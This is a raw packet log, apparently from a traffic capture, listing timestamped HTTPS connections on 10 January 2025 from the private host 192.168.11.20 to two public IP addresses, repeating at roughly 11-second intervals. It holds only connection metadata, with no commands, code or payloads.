Jan 10, 2025 15:32:07.969975948 CET	49746	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:32:07.970087051 CET	49746	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:32:08.118459940 CET	49747	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:32:08.118508101 CET	443	49747	142.250.190.97	192.168.11.20
Jan 10, 2025 15:32:08.118679047 CET	49747	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:32:08.118879080 CET	49747	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:32:08.118906021 CET	443	49747	142.250.190.97	192.168.11.20
Jan 10, 2025 15:32:08.378374100 CET	443	49747	142.250.190.97	192.168.11.20
Jan 10, 2025 15:32:08.378563881 CET	49747	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:32:08.378612041 CET	49747	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:32:08.381969929 CET	49747	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:32:08.381973028 CET	443	49747	142.250.190.97	192.168.11.20
Jan 10, 2025 15:32:08.382149935 CET	443	49747	142.250.190.97	192.168.11.20
Jan 10, 2025 15:32:08.382306099 CET	49747	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:32:08.382492065 CET	49747	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:32:08.426203966 CET	443	49747	142.250.190.97	192.168.11.20
Jan 10, 2025 15:32:08.717453957 CET	443	49747	142.250.190.97	192.168.11.20
Jan 10, 2025 15:32:08.717595100 CET	443	49747	142.250.190.97	192.168.11.20
Jan 10, 2025 15:32:08.717607975 CET	49747	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:32:08.717623949 CET	443	49747	142.250.190.97	192.168.11.20
Jan 10, 2025 15:32:08.717660904 CET	443	49747	142.250.190.97	192.168.11.20
Jan 10, 2025 15:32:08.717840910 CET	49747	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:32:08.732357979 CET	49747	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:32:08.732357979 CET	49747	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:32:08.732372999 CET	443	49747	142.250.190.97	192.168.11.20
Jan 10, 2025 15:32:08.732567072 CET	49747	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:32:18.743170023 CET	49748	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:32:18.743204117 CET	443	49748	142.250.190.110	192.168.11.20
Jan 10, 2025 15:32:18.743386984 CET	49748	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:32:18.743563890 CET	49748	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:32:18.743582010 CET	443	49748	142.250.190.110	192.168.11.20
Jan 10, 2025 15:32:19.001295090 CET	443	49748	142.250.190.110	192.168.11.20
Jan 10, 2025 15:32:19.001526117 CET	49748	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:32:19.004228115 CET	443	49748	142.250.190.110	192.168.11.20
Jan 10, 2025 15:32:19.004477978 CET	49748	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:32:19.005844116 CET	49748	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:32:19.005918980 CET	443	49748	142.250.190.110	192.168.11.20
Jan 10, 2025 15:32:19.007004023 CET	443	49748	142.250.190.110	192.168.11.20
Jan 10, 2025 15:32:19.007230043 CET	49748	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:32:19.007488966 CET	49748	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:32:19.050307035 CET	443	49748	142.250.190.110	192.168.11.20
Jan 10, 2025 15:32:19.289284945 CET	443	49748	142.250.190.110	192.168.11.20
Jan 10, 2025 15:32:19.289494038 CET	49748	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:32:19.289510012 CET	443	49748	142.250.190.110	192.168.11.20
Jan 10, 2025 15:32:19.289727926 CET	49748	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:32:19.289752960 CET	443	49748	142.250.190.110	192.168.11.20
Jan 10, 2025 15:32:19.289783955 CET	443	49748	142.250.190.110	192.168.11.20
Jan 10, 2025 15:32:19.289822102 CET	49748	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:32:19.289835930 CET	443	49748	142.250.190.110	192.168.11.20
Jan 10, 2025 15:32:19.289937973 CET	49748	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:32:19.289937973 CET	49748	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:32:19.290131092 CET	49748	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:32:19.315963030 CET	49749	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:32:19.316044092 CET	443	49749	142.250.190.97	192.168.11.20
Jan 10, 2025 15:32:19.316221952 CET	49749	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:32:19.316365004 CET	49749	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:32:19.316401958 CET	443	49749	142.250.190.97	192.168.11.20
Jan 10, 2025 15:32:19.575462103 CET	443	49749	142.250.190.97	192.168.11.20
Jan 10, 2025 15:32:19.575742960 CET	49749	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:32:19.576318026 CET	49749	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:32:19.576360941 CET	443	49749	142.250.190.97	192.168.11.20
Jan 10, 2025 15:32:19.576473951 CET	49749	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:32:19.576518059 CET	443	49749	142.250.190.97	192.168.11.20
Jan 10, 2025 15:32:19.931663036 CET	443	49749	142.250.190.97	192.168.11.20
Jan 10, 2025 15:32:19.931704044 CET	443	49749	142.250.190.97	192.168.11.20
Jan 10, 2025 15:32:19.931859970 CET	49749	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:32:19.931874037 CET	443	49749	142.250.190.97	192.168.11.20
Jan 10, 2025 15:32:19.932130098 CET	49749	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:32:19.932326078 CET	49749	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:32:19.932401896 CET	443	49749	142.250.190.97	192.168.11.20
Jan 10, 2025 15:32:19.932540894 CET	443	49749	142.250.190.97	192.168.11.20
Jan 10, 2025 15:32:19.932615995 CET	49749	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:32:19.932738066 CET	49749	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:32:29.959551096 CET	49750	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:32:29.959635973 CET	443	49750	142.250.190.110	192.168.11.20
Jan 10, 2025 15:32:29.959825039 CET	49750	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:32:29.960025072 CET	49750	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:32:29.960082054 CET	443	49750	142.250.190.110	192.168.11.20
Jan 10, 2025 15:32:30.218820095 CET	443	49750	142.250.190.110	192.168.11.20
Jan 10, 2025 15:32:30.219079018 CET	49750	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:32:30.219309092 CET	49750	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:32:30.219347954 CET	443	49750	142.250.190.110	192.168.11.20
Jan 10, 2025 15:32:30.219685078 CET	49750	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:32:30.219723940 CET	443	49750	142.250.190.110	192.168.11.20
Jan 10, 2025 15:32:30.497544050 CET	443	49750	142.250.190.110	192.168.11.20
Jan 10, 2025 15:32:30.497740984 CET	443	49750	142.250.190.110	192.168.11.20
Jan 10, 2025 15:32:30.497847080 CET	49750	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:32:30.497946978 CET	49750	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:32:30.497976065 CET	49750	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:32:30.497976065 CET	49750	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:32:30.497997999 CET	443	49750	142.250.190.110	192.168.11.20
Jan 10, 2025 15:32:30.498189926 CET	49750	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:32:30.515620947 CET	49751	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:32:30.515692949 CET	443	49751	142.250.190.97	192.168.11.20
Jan 10, 2025 15:32:30.515867949 CET	49751	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:32:30.516027927 CET	49751	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:32:30.516057014 CET	443	49751	142.250.190.97	192.168.11.20
Jan 10, 2025 15:32:30.777235031 CET	443	49751	142.250.190.97	192.168.11.20
Jan 10, 2025 15:32:30.777460098 CET	49751	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:32:30.777513981 CET	49751	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:32:30.778593063 CET	49751	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:32:30.778640032 CET	443	49751	142.250.190.97	192.168.11.20
Jan 10, 2025 15:32:30.779578924 CET	443	49751	142.250.190.97	192.168.11.20
Jan 10, 2025 15:32:30.779717922 CET	49751	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:32:30.780106068 CET	49751	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:32:30.822283030 CET	443	49751	142.250.190.97	192.168.11.20
Jan 10, 2025 15:32:31.125929117 CET	443	49751	142.250.190.97	192.168.11.20
Jan 10, 2025 15:32:31.126128912 CET	443	49751	142.250.190.97	192.168.11.20
Jan 10, 2025 15:32:31.126220942 CET	49751	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:32:31.126293898 CET	443	49751	142.250.190.97	192.168.11.20
Jan 10, 2025 15:32:31.126326084 CET	49751	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:32:31.126343012 CET	443	49751	142.250.190.97	192.168.11.20
Jan 10, 2025 15:32:31.126409054 CET	49751	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:32:31.126564026 CET	49751	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:32:31.126688957 CET	49751	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:32:31.126725912 CET	443	49751	142.250.190.97	192.168.11.20
Jan 10, 2025 15:32:41.159997940 CET	49752	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:32:41.160109997 CET	443	49752	142.250.190.110	192.168.11.20
Jan 10, 2025 15:32:41.160330057 CET	49752	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:32:41.160527945 CET	49752	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:32:41.160583019 CET	443	49752	142.250.190.110	192.168.11.20
Jan 10, 2025 15:32:41.420666933 CET	443	49752	142.250.190.110	192.168.11.20
Jan 10, 2025 15:32:41.420882940 CET	49752	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:32:41.421166897 CET	49752	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:32:41.421211958 CET	443	49752	142.250.190.110	192.168.11.20
Jan 10, 2025 15:32:41.421453953 CET	49752	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:32:41.421509027 CET	443	49752	142.250.190.110	192.168.11.20
Jan 10, 2025 15:32:41.691409111 CET	443	49752	142.250.190.110	192.168.11.20
Jan 10, 2025 15:32:41.691605091 CET	443	49752	142.250.190.110	192.168.11.20
Jan 10, 2025 15:32:41.691643953 CET	49752	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:32:41.691705942 CET	49752	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:32:41.691739082 CET	443	49752	142.250.190.110	192.168.11.20
Jan 10, 2025 15:32:41.691778898 CET	49752	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:32:41.691889048 CET	49752	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:32:41.800592899 CET	49753	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:32:41.800671101 CET	443	49753	142.250.190.97	192.168.11.20
Jan 10, 2025 15:32:41.800827026 CET	49753	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:32:41.801059008 CET	49753	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:32:41.801090956 CET	443	49753	142.250.190.97	192.168.11.20
Jan 10, 2025 15:32:42.061351061 CET	443	49753	142.250.190.97	192.168.11.20
Jan 10, 2025 15:32:42.061554909 CET	49753	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:32:42.061827898 CET	49753	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:32:42.061872005 CET	443	49753	142.250.190.97	192.168.11.20
Jan 10, 2025 15:32:42.062125921 CET	49753	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:32:42.062170029 CET	443	49753	142.250.190.97	192.168.11.20
Jan 10, 2025 15:32:42.483484030 CET	443	49753	142.250.190.97	192.168.11.20
Jan 10, 2025 15:32:42.483603954 CET	443	49753	142.250.190.97	192.168.11.20
Jan 10, 2025 15:32:42.483666897 CET	49753	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:32:42.483724117 CET	443	49753	142.250.190.97	192.168.11.20
Jan 10, 2025 15:32:42.483758926 CET	49753	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:32:42.483942032 CET	49753	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:32:42.484112978 CET	49753	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:32:42.484313965 CET	443	49753	142.250.190.97	192.168.11.20
Jan 10, 2025 15:32:42.484443903 CET	443	49753	142.250.190.97	192.168.11.20
Jan 10, 2025 15:32:42.484453917 CET	49753	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:32:42.484639883 CET	49753	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:32:52.533041954 CET	49754	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:32:52.533158064 CET	443	49754	142.250.190.110	192.168.11.20
Jan 10, 2025 15:32:52.533438921 CET	49754	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:32:52.533700943 CET	49754	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:32:52.533761024 CET	443	49754	142.250.190.110	192.168.11.20
Jan 10, 2025 15:32:52.795815945 CET	443	49754	142.250.190.110	192.168.11.20
Jan 10, 2025 15:32:52.795958042 CET	49754	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:32:52.796358109 CET	49754	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:32:52.796372890 CET	443	49754	142.250.190.110	192.168.11.20
Jan 10, 2025 15:32:52.796456099 CET	49754	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:32:52.796463966 CET	443	49754	142.250.190.110	192.168.11.20
Jan 10, 2025 15:32:53.065784931 CET	443	49754	142.250.190.110	192.168.11.20
Jan 10, 2025 15:32:53.065867901 CET	443	49754	142.250.190.110	192.168.11.20
Jan 10, 2025 15:32:53.066040039 CET	49754	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:32:53.066131115 CET	49754	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:32:53.067461014 CET	49754	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:32:53.067481995 CET	443	49754	142.250.190.110	192.168.11.20
Jan 10, 2025 15:32:53.090609074 CET	49755	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:32:53.090647936 CET	443	49755	142.250.190.97	192.168.11.20
Jan 10, 2025 15:32:53.090816021 CET	49755	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:32:53.090986967 CET	49755	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:32:53.091006994 CET	443	49755	142.250.190.97	192.168.11.20
Jan 10, 2025 15:32:53.342926979 CET	443	49755	142.250.190.97	192.168.11.20
Jan 10, 2025 15:32:53.343111992 CET	49755	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:32:53.343424082 CET	49755	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:32:53.343436956 CET	443	49755	142.250.190.97	192.168.11.20
Jan 10, 2025 15:32:53.343528032 CET	49755	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:32:53.343540907 CET	443	49755	142.250.190.97	192.168.11.20
Jan 10, 2025 15:32:53.681569099 CET	443	49755	142.250.190.97	192.168.11.20
Jan 10, 2025 15:32:53.681643009 CET	443	49755	142.250.190.97	192.168.11.20
Jan 10, 2025 15:32:53.681695938 CET	443	49755	142.250.190.97	192.168.11.20
Jan 10, 2025 15:32:53.681803942 CET	49755	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:32:53.682074070 CET	49755	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:32:53.682133913 CET	49755	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:32:53.682148933 CET	443	49755	142.250.190.97	192.168.11.20
Jan 10, 2025 15:33:03.701920986 CET	49756	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:33:03.702033043 CET	443	49756	142.250.190.110	192.168.11.20
Jan 10, 2025 15:33:03.702239037 CET	49756	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:33:03.702624083 CET	49756	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:33:03.702678919 CET	443	49756	142.250.190.110	192.168.11.20
Jan 10, 2025 15:33:03.962874889 CET	443	49756	142.250.190.110	192.168.11.20
Jan 10, 2025 15:33:03.963054895 CET	49756	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:33:03.963656902 CET	49756	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:33:03.963701010 CET	443	49756	142.250.190.110	192.168.11.20
Jan 10, 2025 15:33:03.963743925 CET	49756	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:33:03.963769913 CET	443	49756	142.250.190.110	192.168.11.20
Jan 10, 2025 15:33:04.231087923 CET	443	49756	142.250.190.110	192.168.11.20
Jan 10, 2025 15:33:04.231270075 CET	49756	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:33:04.231316090 CET	443	49756	142.250.190.110	192.168.11.20
Jan 10, 2025 15:33:04.231497049 CET	49756	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:33:04.231560946 CET	49756	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:33:04.231601954 CET	443	49756	142.250.190.110	192.168.11.20
Jan 10, 2025 15:33:04.251121044 CET	49757	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:33:04.251199961 CET	443	49757	142.250.190.97	192.168.11.20
Jan 10, 2025 15:33:04.251403093 CET	49757	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:33:04.251563072 CET	49757	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:33:04.251616001 CET	443	49757	142.250.190.97	192.168.11.20
Jan 10, 2025 15:33:04.505290031 CET	443	49757	142.250.190.97	192.168.11.20
Jan 10, 2025 15:33:04.505446911 CET	49757	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:33:04.505708933 CET	49757	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:33:04.505719900 CET	443	49757	142.250.190.97	192.168.11.20
Jan 10, 2025 15:33:04.505971909 CET	49757	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:33:04.505979061 CET	443	49757	142.250.190.97	192.168.11.20
Jan 10, 2025 15:33:04.861329079 CET	443	49757	142.250.190.97	192.168.11.20
Jan 10, 2025 15:33:04.861388922 CET	443	49757	142.250.190.97	192.168.11.20
Jan 10, 2025 15:33:04.861428022 CET	443	49757	142.250.190.97	192.168.11.20
Jan 10, 2025 15:33:04.861541033 CET	49757	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:33:04.861558914 CET	49757	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:33:04.861882925 CET	49757	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:33:04.861897945 CET	443	49757	142.250.190.97	192.168.11.20
Jan 10, 2025 15:33:14.887061119 CET	49758	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:33:14.887095928 CET	443	49758	142.250.190.110	192.168.11.20
Jan 10, 2025 15:33:14.887253046 CET	49758	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:33:14.887465000 CET	49758	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:33:14.887474060 CET	443	49758	142.250.190.110	192.168.11.20
Jan 10, 2025 15:33:15.141808033 CET	443	49758	142.250.190.110	192.168.11.20
Jan 10, 2025 15:33:15.142005920 CET	49758	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:33:15.142441034 CET	49758	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:33:15.142469883 CET	443	49758	142.250.190.110	192.168.11.20
Jan 10, 2025 15:33:15.142540932 CET	49758	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:33:15.142555952 CET	443	49758	142.250.190.110	192.168.11.20
Jan 10, 2025 15:33:15.420842886 CET	443	49758	142.250.190.110	192.168.11.20
Jan 10, 2025 15:33:15.420901060 CET	443	49758	142.250.190.110	192.168.11.20
Jan 10, 2025 15:33:15.421071053 CET	49758	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:33:15.421255112 CET	49758	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:33:15.421255112 CET	49758	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:33:15.421269894 CET	443	49758	142.250.190.110	192.168.11.20
Jan 10, 2025 15:33:15.421479940 CET	49758	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:33:15.442985058 CET	49759	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:33:15.443008900 CET	443	49759	142.250.190.97	192.168.11.20
Jan 10, 2025 15:33:15.443253040 CET	49759	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:33:15.443325996 CET	49759	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:33:15.443336964 CET	443	49759	142.250.190.97	192.168.11.20
Jan 10, 2025 15:33:15.695391893 CET	443	49759	142.250.190.97	192.168.11.20
Jan 10, 2025 15:33:15.695605993 CET	49759	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:33:15.696017027 CET	49759	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:33:15.696047068 CET	443	49759	142.250.190.97	192.168.11.20
Jan 10, 2025 15:33:15.696116924 CET	49759	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:33:15.696125984 CET	443	49759	142.250.190.97	192.168.11.20
Jan 10, 2025 15:33:16.060376883 CET	443	49759	142.250.190.97	192.168.11.20
Jan 10, 2025 15:33:16.060467005 CET	443	49759	142.250.190.97	192.168.11.20
Jan 10, 2025 15:33:16.060573101 CET	49759	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:33:16.060626984 CET	443	49759	142.250.190.97	192.168.11.20
Jan 10, 2025 15:33:16.060647011 CET	49759	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:33:16.060817957 CET	49759	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:33:16.060863972 CET	443	49759	142.250.190.97	192.168.11.20
Jan 10, 2025 15:33:16.060930967 CET	443	49759	142.250.190.97	192.168.11.20
Jan 10, 2025 15:33:16.060971022 CET	49759	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:33:16.061012983 CET	443	49759	142.250.190.97	192.168.11.20
Jan 10, 2025 15:33:16.061101913 CET	49759	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:33:16.061103106 CET	49759	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:33:16.061168909 CET	49759	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:33:26.103297949 CET	49760	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:33:26.103408098 CET	443	49760	142.250.190.110	192.168.11.20
Jan 10, 2025 15:33:26.103718042 CET	49760	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:33:26.103837013 CET	49760	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:33:26.103874922 CET	443	49760	142.250.190.110	192.168.11.20
Jan 10, 2025 15:33:26.359436035 CET	443	49760	142.250.190.110	192.168.11.20
Jan 10, 2025 15:33:26.359622955 CET	49760	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:33:26.360083103 CET	49760	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:33:26.360094070 CET	443	49760	142.250.190.110	192.168.11.20
Jan 10, 2025 15:33:26.360315084 CET	49760	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:33:26.360323906 CET	443	49760	142.250.190.110	192.168.11.20
Jan 10, 2025 15:33:26.631958961 CET	443	49760	142.250.190.110	192.168.11.20
Jan 10, 2025 15:33:26.632025003 CET	443	49760	142.250.190.110	192.168.11.20
Jan 10, 2025 15:33:26.632170916 CET	49760	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:33:26.632240057 CET	49760	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:33:26.632352114 CET	49760	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:33:26.632365942 CET	443	49760	142.250.190.110	192.168.11.20
Jan 10, 2025 15:33:26.645024061 CET	49761	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:33:26.645045996 CET	443	49761	142.250.190.97	192.168.11.20
Jan 10, 2025 15:33:26.645334959 CET	49761	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:33:26.645421028 CET	49761	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:33:26.645431995 CET	443	49761	142.250.190.97	192.168.11.20
Jan 10, 2025 15:33:26.911514044 CET	443	49761	142.250.190.97	192.168.11.20
Jan 10, 2025 15:33:26.911703110 CET	49761	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:33:26.912095070 CET	49761	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:33:26.912139893 CET	443	49761	142.250.190.97	192.168.11.20
Jan 10, 2025 15:33:26.912241936 CET	49761	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:33:26.912286997 CET	443	49761	142.250.190.97	192.168.11.20
Jan 10, 2025 15:33:27.270903111 CET	443	49761	142.250.190.97	192.168.11.20
Jan 10, 2025 15:33:27.270962954 CET	443	49761	142.250.190.97	192.168.11.20
Jan 10, 2025 15:33:27.271015882 CET	443	49761	142.250.190.97	192.168.11.20
Jan 10, 2025 15:33:27.271106005 CET	49761	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:33:27.271302938 CET	49761	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:33:27.271882057 CET	49761	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:33:27.271917105 CET	443	49761	142.250.190.97	192.168.11.20
Jan 10, 2025 15:33:37.303911924 CET	49762	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:33:37.304001093 CET	443	49762	142.250.190.110	192.168.11.20
Jan 10, 2025 15:33:37.304286957 CET	49762	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:33:37.304478884 CET	49762	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:33:37.304533005 CET	443	49762	142.250.190.110	192.168.11.20
Jan 10, 2025 15:33:37.566950083 CET	443	49762	142.250.190.110	192.168.11.20
Jan 10, 2025 15:33:37.567192078 CET	49762	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:33:37.567523003 CET	49762	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:33:37.567568064 CET	443	49762	142.250.190.110	192.168.11.20
Jan 10, 2025 15:33:37.567713022 CET	49762	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:33:37.567758083 CET	443	49762	142.250.190.110	192.168.11.20
Jan 10, 2025 15:33:37.838746071 CET	443	49762	142.250.190.110	192.168.11.20
Jan 10, 2025 15:33:37.838948965 CET	49762	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:33:37.838998079 CET	443	49762	142.250.190.110	192.168.11.20
Jan 10, 2025 15:33:37.839051008 CET	443	49762	142.250.190.110	192.168.11.20
Jan 10, 2025 15:33:37.839082003 CET	49762	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:33:37.839128971 CET	443	49762	142.250.190.110	192.168.11.20
Jan 10, 2025 15:33:37.839257002 CET	49762	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:33:37.839257002 CET	49762	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:33:37.839392900 CET	49762	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:33:37.860668898 CET	49763	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:33:37.860737085 CET	443	49763	142.250.190.97	192.168.11.20
Jan 10, 2025 15:33:37.860872030 CET	49763	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:33:37.861017942 CET	49763	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:33:37.861027002 CET	443	49763	142.250.190.97	192.168.11.20
Jan 10, 2025 15:33:38.120371103 CET	443	49763	142.250.190.97	192.168.11.20
Jan 10, 2025 15:33:38.120546103 CET	49763	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:33:38.121155977 CET	49763	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:33:38.121155977 CET	49763	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:33:38.121228933 CET	443	49763	142.250.190.97	192.168.11.20
Jan 10, 2025 15:33:38.121263981 CET	443	49763	142.250.190.97	192.168.11.20
Jan 10, 2025 15:33:38.464272022 CET	443	49763	142.250.190.97	192.168.11.20
Jan 10, 2025 15:33:38.464468956 CET	49763	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:33:38.464471102 CET	443	49763	142.250.190.97	192.168.11.20
Jan 10, 2025 15:33:38.464528084 CET	443	49763	142.250.190.97	192.168.11.20
Jan 10, 2025 15:33:38.464642048 CET	49763	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:33:38.464658022 CET	443	49763	142.250.190.97	192.168.11.20
